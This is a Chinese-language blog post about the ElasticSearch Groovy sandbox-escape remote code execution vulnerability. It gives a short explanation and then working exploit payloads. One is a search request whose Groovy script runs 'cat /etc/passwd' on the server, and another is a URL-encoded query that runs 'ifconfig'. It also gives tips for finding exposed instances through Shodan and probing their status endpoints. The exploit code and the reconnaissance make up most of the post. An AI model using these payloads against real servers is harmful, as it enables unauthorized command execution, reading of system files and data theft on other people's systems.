Rookie

漫游指南-1 的世界

流浪在大理的斜杠青年

ElasticSearch Groovy遠程代碼執行漏洞

最近在公司內網發現在使用 ElasticSearch 就看了解了下

漏洞原理

ElasticSearch 是一個 JAVA 開發的搜索分析引擎。

2014 年,曾經被曝出過一個 遠程代碼執行漏洞(CVE-2014-3120),漏洞出現在腳本查詢模塊,由於搜索引擎支持使用腳本代碼(MVEL),作為表達式進行數據操作,攻擊者可以通過 MVEL 構造執行任意 java 代碼,

後來腳本語言引擎換成了 Groovy,並且加入了沙盒進行控制,危險的代碼會被攔截,結果這次由於沙盒限制的不嚴格,導致遠程代碼執行。

漏洞 POC

原理已被多人分析過,這裡不再重複,直接上大家期待的 POC 吧!

POST http://target:9200/_search?pretty 
{"size":1,"script_fields": {"test#": {"script":"java.lang.Math.class.forName(\"java.io.BufferedReader\").getConstructor(java.io.Reader.class).newInstance(java.lang.Math.class.forName(\"java.io.InputStreamReader\").getConstructor(java.io.InputStream.class).newInstance(java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"cat /etc/passwd\").getInputStream())).readLines()","lang": "groovy"}}}

互聯網實際案例

ElasticSearch 端口是該引擎的重要指紋,如果使用 shodan 搜索 You Know, for 也很不錯,

查看狀態:http://xxxx:9200/_status
集群健康報告:http://xxxx:9200/_cluster/health
集群節點信息:http://xxxx:9200/_nodes

http://xxx.com:9200/_search?source={%22size%22:1,%22query%22:{%22filtered%22:{%22query%22:{%22match_all%22:{}}}},%22script_fields%22:{%22exp%22:{%22script%22:%22import%20java.util.*;\nimport%20java.io.*;\nString%20str%20=%20\%22\%22;BufferedReader%20br%20=%20new%20BufferedReader(new%20InputStreamReader(Runtime.getRuntime().exec(\%22ifconfig\%22).getInputStream()));StringBuilder%20sb%20=%20new%20StringBuilder();while((str=br.readLine())!=null){sb.append(str);}sb.toString();%22}}}
載入中......
此文章數據所有權由區塊鏈加密技術和智能合約保障僅歸創作者所有。